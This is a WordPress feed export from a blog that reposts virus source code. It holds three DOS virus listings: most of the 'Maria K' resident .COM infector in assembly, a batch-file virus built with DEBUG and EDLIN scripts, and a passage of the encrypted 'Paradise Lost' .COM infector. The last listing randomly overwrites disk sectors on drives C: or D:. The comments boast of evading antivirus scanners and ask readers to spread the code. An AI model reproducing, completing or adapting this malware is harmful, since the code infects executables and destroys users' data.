<p>mov     ah,4Fh                  ;Find next<br />
int     21h<br />
isdirok:<br />
jnc     gonow                   ;If OK, jmp elsewhere<br />
mov     si, offset nest<br />
add     si, offset_off<br />
cmp     word ptr [si], 0        ;If root directory (nest == 0)<br />
jle     short cleanup           ; Quit<br />
dec     word ptr [si]           ;Else decrement nest<br />
mov     dx,offset back_dir      ;&#8217;..&#8217;<br />
add     dx, offset_off<br />
mov     ah,3Bh                  ;Change directory<br />
int     21h                     ;to previous one<br />
cleanup:<br />
pop     si<br />
mov    sp,bp<br />
pop    bp<br />
ret<br />
traverse_fcn endp<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
;D-Traversal function ends<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
Goto_Error:<br />
jmp     Error</p>
<p>enuff_for_now:<br />
;Set nest to nil<br />
mov     si, offset nest         ;in order to<br />
add     si, offset_off          ;halt the D-Cool<br />
mov     word ptr [si], 0        ;traversal fcn<br />
jmp     short cleanup<br />
return_to_fcn:<br />
jmp     short In_fcn            ;Return to traversal function</p>
<p>infect_directory:<br />
mov     ah, 1Ah                 ;Set DTA<br />
mov     dx, offset DTA          ;to DTA struct<br />
add     dx, offset_off<br />
int     21h</p>
<p>find_first_COM:<br />
mov     ah, 04Eh                ;Find first file<br />
mov     cx, 0007h               ;Any file<br />
mov     dx, offset com_mask     ;DS:[DX] &#8211;&gt; filemask<br />
add     dx, offset_off<br />
int     21h                     ;Fill DTA (hopefully)<br />
jc      return_to_fcn           ; Error #E421:0.1<br />
jmp     check_if_COM_infected   ;I&lt;___-Cool! Found one!</p>
<p>find_next_file2:<br />
mov     si, offset infec_now    ;Another loop,<br />
add     si, offset_off          ;Another infection<br />
dec     byte ptr [si]           ;Infected three?<br />
jz      enuff_for_now           ;If so, exit<br />
find_next_file:<br />
mov     ah,4Fh                  ;Find next<br />
int     21h<br />
jc      return_to_fcn</p>
<p>check_if_COM_infected:<br />
mov     si, offset DTA + dta_filename + 6 ; look at 7th letter<br />
add     si, offset_off<br />
cmp     byte ptr [si], &#8216;D&#8217;              ;??????D.COM?<br />
jz      find_next_file                  ;Don&#8217;t kill COMMAND.COM</p>
<p>mov     ax,3D00h                        ;Open channel read ONLY<br />
mov     dx, si                          ;Offset Pathname in DX<br />
sub     dx, 6<br />
int     21h                             ;Open NOW!<br />
jc      find_next_file                  ;If error, find another</p>
<p>xchg    bx,ax                           ;bx is now handle<br />
mov     ah,3Fh                          ;Save<br />
mov     cx, part1_size                  ;first part<br />
mov     dx, offset buffer               ;to buffer<br />
add     dx, offset_off                  ;to be restored<br />
push    dx<br />
int     21h                             ;later</p>
<p>pop     si                              ;Check for virus ID bytes<br />
;in the buffer<br />
push    si<br />
lodsw                                   ;DS:[SI] -&gt; AX<br />
cmp     ax, virus_marker                ;Compare it<br />
jnz     infect_it                       ;infect if ID #1 not found</p>
<p>lodsw                                   ;Check next two bytes<br />
cmp     ax, virus_marker2               ;Compare it<br />
jnz     infect_it                       ;infect if ID #2 not found<br />
pop     si<br />
bomb_out:<br />
mov     ah, 3Eh                         ;else close the file<br />
int     21h                             ;and go find another<br />
jmp     find_next_file                  ;&#8217;cuz it&#8217;s already infected</p>
<p>Signature db &#8216;Immortal Riot&#8217;</p>
<p>; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
;D-Good Stuff &#8211; Infection routine<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
infect_it:<br />
; save fileattr<br />
pop     si<br />
add     si, offset DTA + DTA_fileattr &#8211; offset buffer<br />
mov     di, si<br />
add     di, offset origattr &#8211; offset DTA &#8211; DTA_fileattr<br />
movsb                                   ;DS:[SI] -&gt; ES:[DI]<br />
movsw                                   ;Save origtime<br />
movsw                                   ;Save origdate<br />
movsw                                   ;Save filesize<br />
;Only need LSW<br />
;because COM files<br />
;can only be up to<br />
;65535 bytes long<br />
cmp     word ptr [si - 2], part1_size<br />
jl      bomb_out                        ;is less than 8 bytes.</p>
<p>do_again:<br />
mov     ah, 2Ch                         ;get time<br />
int     21h<br />
add     dl, dh                          ;1/100 sec + 1 sec<br />
jz      do_again                        ;Don&#8217;t want orig strain!</p>
<p>mov     si, offset encrypt_val<br />
add     si, offset_off<br />
mov     byte ptr [si], dl               ;255 mutations</p>
<p>mov     ax, 4301h                       ;Set file attributes<br />
xor     cx, cx                          ;to nothing<br />
mov     dx, si                          ;filename in DTA<br />
add     dx, offset DTA + DTA_filename &#8211; offset encrypt_val<br />
int     21h                             ;do it now, my child</p>
<p>mov     ah, 3Eh                         ;Close file<br />
int     21h                             ;handle in BX</p>
<p>mov     ax, 3D02h                       ;Open file read/write<br />
int     21h                             ;Filename offset in DX<br />
jc      bomb_out                        ;Damn! Probs</p>
<p>mov     di, dx<br />
add     di, offset oldhandle &#8211; offset DTA &#8211; DTA_filename<br />
;copy filehandle to<br />
;oldhandle<br />
stosw                                   ;AX -&gt; ES:[DI]<br />
xchg    ax, bx                          ;file handle in BX now</p>
<p>mov     ah, 40h                         ;Write DS:[DX]-&gt;file<br />
mov     cx, part1_size &#8211; 4              ;number of bytes<br />
mov     dx, 0100h                       ;where code starts<br />
int     21h                             ;(in memory)</p>
<p>mov     ah, 40h<br />
mov     si, di                          ; mov si, offset filesize<br />
add     si, offset filesize &#8211; 2 &#8211; offset oldhandle<br />
add     word ptr [si], 0100h<br />
mov     cx, 2<br />
mov     dx, si<br />
int     21h                             ;write jmp offset</p>
<p>mov     ax, [si]                        ;AX = filesize<br />
sub     ax, 0108h</p>
<p>add     si, offset buffer3 &#8211; offset filesize<br />
push    si<br />
mov     word ptr [si], ax<br />
mov     ah, 40h<br />
mov     cx, 2<br />
mov     dx, si<br />
int     21h</p>
<p>mov     ax, 4202h                       ;move file ptr<br />
xor     cx, cx                          ;from EOF<br />
xor     dx, dx                          ;offset cx:dx<br />
int     21h</p>
<p>call    copy_rest_stuff</p>
<p>pop     si<br />
add     si, offset oldhandle &#8211; offset buffer3<br />
mov     bx, word ptr [si]<br />
mov     ax, 5701h                       ;Restore<br />
add     si, offset origtime &#8211; offset oldhandle<br />
mov     cx, word ptr [si]               ;old time and<br />
add     si, 2<br />
mov     dx, word ptr [si]               ;date<br />
int     21h</p>
<p>mov     ah, 3Eh                         ;Close file<br />
int     21h</p>
<p>mov     ax, 4301h                       ;Restore file<br />
xor     ch, ch<br />
add     si, offset origattr &#8211; offset origtime &#8211; 2<br />
mov     cl, byte ptr [si]               ;attributes<br />
mov     dx, si                          ; filename in DTA<br />
add     dx, offset DTA + DTA_filename &#8211; offset origattr<br />
int     21h                             ;do it now</p>
<p>jmp     find_next_file2</p>
<p>GotoError:<br />
jmp     error</p>
<p>Psycho:<br />
; Check if already installed<br />
push    es<br />
mov     byte ptr cs:[100h],0            ;Initialize fingerprint<br />
xor     bx, bx                          ;Zero BX for start<br />
mov     ax, cs<br />
Init1:  inc     bx                              ;Increment search segment<br />
mov     es, bx                          ;value<br />
cmp     ax, bx                          ;Not installed if we reach<br />
je      Not_Installed_Yet               ;the current segment<br />
mov     si, 100h                        ;Search segment for<br />
mov     di, si                          ;fingerprint in first<br />
mov     cx, 4                           ;four bytes<br />
repe    cmpsb                           ;Compare<br />
jne     init1                           ;If not equal, try another<br />
jmp     Quit_Init                       ;else already installed</p>
<p>Not_Installed_Yet:<br />
pop     es<br />
mov     word ptr cs:[Counter], init_delay<br />
mov     word ptr cs:[D_Mess],    1</p>
<p>; Copy interrupt handler to beginning of code<br />
mov     si, offset _int_08_handler<br />
add     si, offset_off<br />
mov     di, Int_08_Start<br />
mov     cx, int_end &#8211; int_start<br />
rep     movsb                   ;DS:[SI]-&gt;ES:[DI]</p>
<p>mov     ax, 3508h               ;Get int 8 handler<br />
int     21h                     ;put in ES:BX</p>
<p>mov     cs:[duh], bx            ;Save old handler<br />
mov     cs:[duh+2], es          ;in cs:[104h]</p>
<p>mov     ax, 2508h               ;Install new handler<br />
mov     dx, Int_08_Start        ;from DS:DX<br />
int     21h                     ;Do it</p>
<p>push    es<br />
mov     ax, ds:[2Ch]            ;Deallocate program<br />
mov     es, ax                  ;environment block<br />
mov     ah, 49h<br />
int     21h<br />
pop     es</p>
<p>mov     ax, 3100h               ;TSR<br />
mov     dx, (offset int_end &#8211; offset int_start + offset part1_end &#8211; offset Code + 4 + 15 + 128) SHR 4</p>
<p>; these two lines are the &#8220;long&#8221; line above..pls, but ?m together..<br />
; mov dx, (offset int_end &#8211; offset int_start + offset part1_end -<br />
; offset Code + 4 + 15 + 128) SHR 4</p>
<p>int     21h<br />
int     20h                     ;In case of error<br />
Quit_Init:<br />
pop     es<br />
Error:                                  ;On error, quit<br />
Quit:<br />
mov     ah, 3Bh                 ;Change directory<br />
mov     dx, offset root_dir     ;to the root dir<br />
add     dx, offset_off<br />
int     21h</p>
<p>mov     ah,3Bh                  ;Change directory<br />
;Return to orig dir<br />
add     dx, offset orig_path &#8211; offset root_dir<br />
int     21h</p>
<p>; Copy buffer back to beginning of file<br />
mov     si, dx<br />
add     si, offset buffer2 &#8211; offset orig_path<br />
mov     di, 0100h<br />
mov     cx, part1_end &#8211; part1_start<br />
rep     movsb</p>
<p>mov     di, 0100h<br />
jmp     di<br />
int_start:<br />
_int_08_handler proc far<br />
push    ax<br />
push    bx<br />
push    cx<br />
push    dx<br />
push    si<br />
push    ds<br />
push    es<br />
pushf<br />
dec     word ptr CS:[Counter]            ;Counter<br />
jnz     QuitNow<br />
;ACTIVATION!!!<br />
mov     word ptr CS:[Counter], delay     ;Reset counter</p>
<p>; Set up DS &amp; ES to equal CS<br />
push    cs<br />
pop     ds<br />
push    cs<br />
pop     es</p>
<p>mov     si, offset Messages &#8211; offset int_start + int_08_start<br />
mov     cx, cs:D_Mess<br />
xor     ah, ah<br />
LoopY_ThingY:<br />
lodsb                           ;DS:SI -&gt; AL<br />
add     si, ax                  ;ES:BP -&gt; Next message to display<br />
loop    LoopY_ThingY</p>
<p>lodsb<br />
xchg    si, bp</p>
<p>xor     cx, cx<br />
mov     cl, al                  ;Length of string<br />
mov     ax, 1300h               ;<br />
mov     bx, 0070h               ;Page 0, inverse video<br />
xor     dx, dx                  ;(0,0)<br />
int     10h                     ;Display ES:BP<br />
inc     word ptr cs:[D_Mess]<br />
cmp     word ptr cs:[D_Mess], num_messages<br />
jnz     Sigh<br />
mov     word ptr cs:[D_Mess], 1</p>
<p>Sigh:   mov     cx, 30h<br />
Sigh2:  push    cx<br />
mov     cx, 0FFFFh<br />
DelayX: loop    DelayX<br />
pop     cx<br />
loop    Sigh2<br />
xchg    si, bp<br />
QuitNow:<br />
popf<br />
pop     es<br />
pop     ds<br />
pop     si<br />
pop     dx<br />
pop     cx<br />
pop     bx<br />
pop     ax<br />
jmp     dword ptr CS:duh<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
; Please don&#8217;t just change the notes here included in the virus, and<br />
; claim    that it&#8217;s your production. I know this isn&#8217;t mine, but afterall,<br />
; you could atleast say that I &#8220;renaissanced&#8221; it. Cuz mane people actually<br />
; scans their programs nowdays (..or atleast here..), which makes it<br />
; quite stupid to spread a virus which scan etc can find. And well, I&#8217;d<br />
; like to get this little shit a bit spread..can you get it for me? <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ..<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-</p>
<p>Messages db      0<br />
db      15, &#8216;Maria K lives..&#8217;          ; She ain&#8217;t dead..<br />
db      21, &#8216;Somewhere in my heart..&#8217;      ; That&#8217;s truh..huh?<br />
db      22, &#8216;Somewhere in Sweden..&#8217;      ; She lives here!<br />
db      26, &#8216;I might be insane..&#8217;      ; I might be that..<br />
db      38, &#8216;But the society to blame..&#8217; ; Might be true&#8230;.<br />
db      40, &#8216;The Unforgiven / Immortal Riot&#8217; ; That&#8217;s me&#8230;.</p>
<p>_int_08_handler endp<br />
int_end:<br />
part2_end:</p>
<p>CODE    ends<br />
end     part1_start</p>
<p>; Greetings goes out to: Raver, Metal Militia, Scavenger,<br />
; and of-cuz a mega Greeting to Maria K !..</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/19/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/19/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/19/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=19&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/06/listing-virus-maria-k-with-assembler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus Batch</title>
		<link>http://virusconstruction.wordpress.com/2008/08/05/listing-virus-batch/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/05/listing-virus-batch/#comments</comments>
		<pubDate>Tue, 05 Aug 2008 09:07:29 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Virus Batch]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=17</guid>
		<description><![CDATA[This Was Taken From 2600 Magazine Spring 1992 Typing Work Done by OMEGA/MEGA-Ind. Call Europe&#8217;s Biggest H/P/A/V Board on +31-(0)79-426-079 A BATCH Virus (By Frosty of the GCMS) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; Whoever thought that viruses could be in BATCH files? This virus which we are about to see makes use of the MS-DOS operating system. This BATCH [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=17&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This Was Taken From 2600 Magazine Spring 1992<br />
Typing Work Done by OMEGA/MEGA-Ind.<br />
Call Europe&#8217;s Biggest H/P/A/V Board on +31-(0)79-426-079</p>
<p>A BATCH Virus (By Frosty of the GCMS)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Whoever thought that viruses could be in BATCH files? This virus which<br />
we are about to see makes use of the MS-DOS operating system. This BATCH<br />
virus uses DEBUG &amp; EDLIN programs.</p>
<p>NAME: VR.BAT</p>
<p>ECHO = OFF        (Self explanatory)<br />
CTTY NUL          (This is important. Console output is turned off)<br />
PATH C:\MSDOS     (May differ on other systems)<br />
DIR *.COM/W&gt;IND   (The directory is written on &#8220;ind&#8221; ONLY name entries)<br />
EDLIN IND&lt;1       (&#8220;ind&#8221; is processed with EDLIN so only file names appear)<br />
DEBUG IND&lt;2       (New batch program is created with debug)<br />
EDLIN NAME.BAT&lt;3  (This batch goes to an executable form because of EDLIN)<br />
CTTY CON          (Console interface is again assigned)<br />
NAME              (Newly created NAME.BAT is called)</p>
<p>In addition to this Batch file, there are command files, here named 1,2,3.<br />
Here is the first command file:</p>
<p>NAME: 1</p>
<p>1,4D              (Here line 1-4 of the &#8220;ind&#8221; file are deleted)<br />
E                 (Save file)</p>
<p>Here is the second command file:</p>
<p>NAME: 2</p>
<p>M100,10B,F000     (First program name is moved to the F000H address to save)<br />
E108&#8243;.BAT&#8221;        (Extension of file name is changed to .BAT)<br />
M100,10B,F010     (File is saved again)<br />
E100&#8243;DEL&#8221;         (DEL Command is written to address 100H)<br />
MF000,F00B,104    (Original file is written after this command)<br />
E10C 2E           (Period is placed in front of extension)<br />
E110 0D,0A        (Carriage return plus line feed)<br />
MF010,F020,11F    (Modified file is moved to 11FH address from buffer area)<br />
E112&#8243;COPY\VR.BAT&#8221; (Copy command is now placed in front of file)<br />
E12B 0D,0A        (Copy command terminated with carriage return + line feed)<br />
RXC               (The CX register is &#8230;)<br />
2C                (Set to 2CH)<br />
NNAME.BAT         (Name it NAME.BAT)<br />
W                 (Write)<br />
Q                 (Quit)</p>
<p>The third command file must be printed as a hex dump because it contains<br />
two control characters (1Ah=Control Z) and this is not entirely printable.<br />
Hex dump of the third command file:</p>
<p>NAME: 3</p>
<p>0100   31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79<br />
0110   79 29 0D 32 2C 32 3F 52-20 1A 0D 6E 6E 79 79 79<br />
0120   79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00</p>
<p>In order for this virus to work, VR.BAT should be in the root. This<br />
Program only affects .COM files.</p>
<p>Remember Where You Saw it First<br />
&#8212;&#8212;&#8212;&#8211;&gt; Perfect Crime : +31-(0)-79-426-079 &lt;&#8212;&#8212;&#8212;&#8212;-<br />
Typing Work Done by OMEGA/MEGA-Ind.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/17/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/17/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/17/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=17&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/05/listing-virus-batch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus ParaSite Sweden</title>
		<link>http://virusconstruction.wordpress.com/2008/08/05/parasite-swedeni-think-code-build-with-assambler/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/05/parasite-swedeni-think-code-build-with-assambler/#comments</comments>
		<pubDate>Tue, 05 Aug 2008 08:45:25 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[ParaSite Sweden]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=12</guid>
		<description><![CDATA[; VirusName : PARADISE LOST! ; Origin : Sweden ; Author : The Unforgiven ; Date : 20/12/93 ; This is a &#8220;mutation&#8221;, of Tormentor&#8217;s .COM lession. I&#8217;ve modified ; some stuffs, but since I liked the .EXE infector better, I didn&#8217;t ; cared too much about this one. ; Anyway, this is a non-resident [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=12&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>; VirusName : PARADISE LOST!<br />
; Origin    : Sweden<br />
; Author    : The Unforgiven<br />
; Date      : 20/12/93</p>
<p>; This is a &#8220;mutation&#8221;, of Tormentor&#8217;s .COM lession. I&#8217;ve modified<br />
; some stuffs, but since I liked the .EXE infector better, I didn&#8217;t<br />
; cared too much about this one.</p>
<p>; Anyway, this is a non-resident current directory (yuck!), infector<br />
; of .COM programs. It&#8217;ve added a encryption routine, but it&#8217;s nothing<br />
; really to scream hurray for.</p>
<p>; It&#8217;s also a bit destructive, well, it&#8217;s 5% chance at each run, that<br />
; one of drive c: or d: gets kinda phucked up. This routine was as<br />
; usual &#8220;stolen&#8221; from Nowhere Man of NuKE. I must admit I like it!</p>
<p>; Scan/MSAV/CPAV and F-prot can&#8217;t find as usual find shits! I think<br />
; that ThunderByte AntiVirus heurtistic scanner found the infected<br />
; files as &#8220;probably/possible&#8221; infected, I really dunno, you try it<br />
; out by your self!</p>
<p>; &#8220;We do not live forever, but mind never leaves our souls.&#8221; (Dark Image).</p>
<p>;=============================================================================<br />
;                          **** PARADISE LOST! ****<br />
;=============================================================================</p>
<p>.model  tiny<br />
.radix  16<br />
.code</p>
<p>Virus_Lenght    EQU     Virus_End-Virus_Start   ; Lenght of virus.</p>
<p>org     100</p>
<p>dummy_code:     db      &#8216;M&#8217;             ; Mark file as infected.<br />
db      3 DUP(90)       ; This is to simulate a infected prog.<br />
; Not included in virus-code.</p>
<p>Virus_Start:     call   where_we_are    ; Now we call the next bytes, just to</p>
<p>; F-prot founded the &#8216;lession -1&#8242;virus here in the unencrypted area, but by<br />
; simple add the push si, and the extra pop, it compleatele screwed up, and<br />
; couldn&#8217;t found it as nothing!, HA! Eat dust, looser!</p>
<p>where_we_are:    push   si<br />
pop    si              ; Since the virus-code&#8217;s address will<br />
pop    si</p>
<p>;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
; Now we have to put back the original 4 bytes in the host program, so<br />
; we can return control to it later:<br />
add     si,_4first_bytes-where_we_are<br />
mov     di,100<br />
cld<br />
movsw<br />
movsw<br />
;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
; We have to use SI as a reference since files differ in size thus making<br />
; virus to be located at different addresses.</p>
<p>sub     si,_4first_bytes-Virus_Start+4</p>
<p>call encrypt_decrypt                   ; differ from victim to victim.<br />
jmp encryption_start                   ; a POP SI after a call will give us the<br />
; address which equals to &#8216;where_we_are&#8217;<br />
; Very important.<br />
write_virus:<br />
call encrypt_decrypt<br />
mov     ah,40           ; Append file with virus code.<br />
mov     cx,offset Virus_Lenght<br />
mov     dx,si           ; Virus_Lenght.<br />
int     21<br />
call encrypt_decrypt<br />
ret</p>
<p>encryption_value dw 0<br />
encrypt_decrypt:</p>
<p>mov di,offset encryption_start-virus_start<br />
add di,si<br />
mov cx,(end_of_encryption-encryption_start+1)/2</p>
<p>push bx<br />
mov bx,offset encryption_value-virus_start<br />
add bx,si<br />
mov dx,word ptr [bx]<br />
pop bx</p>
<p>again:<br />
xor word ptr cs:[di],dx<br />
add di,2<br />
loop again<br />
ret<br />
;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
; Now we just have to find victims, we will look for ALL .COM files in<br />
; the current directory.</p>
<p>encryption_start:<br />
;set_dta:<br />
mov ah,1ah<br />
lea dx,[si+offset dta-virus_start]<br />
int 21h<br />
mov     ah,4e           ; We start to look for a *.COM file<br />
look4victim:    mov     dx,offset file_match-Virus_Start<br />
add     dx,si<br />
int     21</p>
<p>jc      no_victim_found</p>
<p>; clear attribs: before open file<br />
mov ax,4301h<br />
xor cx,cx<br />
lea dx,[si+virus_end+1eh]<br />
int 21h<br />
mov     ax,3d02         ; Now we open the file.<br />
lea     dx,[si+offset DTA-virus_start+1eh] ;now also including<br />
int     21              ; DTA.<br />
jc      cant_open_file  ; If file couldn&#8217;t be open.</p>
<p>xchg    ax,bx           ; Save filehandle in bx<br />
; (we could use MOV BX,AX but we saves one byte by using xchg )</p>
<p>mov     ah,3f           ; Now we read the first 4 bytes<br />
mov     cx,4            ; from the victim -&gt; buffer</p>
<p>mov     dx,offset _4first_bytes-Virus_Start<br />
add     dx,si<br />
; We will then overwrite them with<br />
int     21              ; a JMP XXXX to virus-code at end.</p>
<p>jc      read_error</p>
<p>cmp     byte ptr ds:[si+_4first_bytes-Virus_Start],&#8217;M&#8217;<br />
jz      sick_or_EXE     ; Check if infected OR *.EXE</p>
<p>; Almost all EXE files starts with &#8216;M&#8217; and we mark the infected files by<br />
; starting with &#8216;M&#8217; which equals to DEC BP<br />
; Now we just have to have one check instead of 2 (infected and *.EXE)</p>
<p>mov     ax,4202         ; Position file-pointer to point at<br />
xor     cx,cx           ; End-of-File.<br />
xor     dx,dx           ; Any writing to file will now APPEND it<br />
int     21              ; Returns AX -&gt; at end.</p>
<p>sub     ax,4            ; Just for the JMP structure.</p>
<p>mov     word ptr ds:[_4new_bytes+2],ax<br />
; Build new JMP XXXX to virus.<br />
; ( logic: JMP AX )</p>
<p>mov word ptr [si+encryption_value-virus_start],99 ; encryption_value.<br />
call write_virus</p>
<p>;<br />
;               mov     ah,40           ; Append file with virus code.<br />
;               mov     cx,offset Virus_Lenght<br />
;               mov     dx,si           ; Virus_Lenght.<br />
;               int     21<br />
;               jc      write_error</p>
<p>mov     ax,4200         ; Position file-pointer to begin of file<br />
xor     cx,cx           ; So we can change the first 3 bytes<br />
xor     dx,dx           ; to JMP to virus.<br />
int     21</p>
<p>mov     ah,40           ; Write new 3 bytes.<br />
mov     cx,4            ; After this, executing the file will<br />
mov     dx,offset _4new_bytes-Virus_Start<br />
add     dx,si<br />
; result in virus-code executing before<br />
int     21              ; original code.<br />
jc      write_error</p>
<p>; then close the file.<br />
mov     ah,3e           ; Close file, now file is infected.<br />
int     21              ; Dos function 3E (close handle)</p>
<p>Sick_or_EXE:    mov     ah,4f           ; Well, file is infected. Now let&#8217;s<br />
jmp     look4victim     ; find another victim&#8230;</p>
<p>write_error:            ; Here you can test whats went wrong.<br />
read_error:             ; This is just for debugging purpose.<br />
cant_open_file:         ; These entries are equal to eachother<br />
no_victim_found:        ; but could be changed if you need to test something.</p>
<p>; randomize:<br />
mov ah,2ch                              ;get a new random number<br />
int 21h                                 ;5% chance of nuke<br />
cmp dl,5<br />
ja real_quit<br />
jmp which</p>
<p>which:<br />
mov ah,2ch<br />
int 21h<br />
cmp dl,50<br />
ja  nuke_c<br />
jmp nuke_d</p>
<p>nuke_c:<br />
cli                             ;<br />
mov     ah,2                    ; 2=c:<br />
cwd                             ;<br />
mov     cx,0100h                ;<br />
int     026h                    ;<br />
JMP     REAL_QUIT</p>
<p>nuke_d:<br />
cli<br />
mov     ah,3                    ; 3=d:<br />
cwd<br />
mov     cx,0100h<br />
int     026h<br />
jmp     real_quit</p>
<p>real_quit:<br />
mov     ax,100          ; Every thing is put back in memory,<br />
push    ax              ; lets us RET back to start of program<br />
ret                     ; and execute the original program.</p>
<p>notes           db &#8216;[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot&#8217;<br />
file_match      db &#8216;*.COM&#8217;,0                ; Pattern to search for.</p>
<p>end_of_encryption:<br />
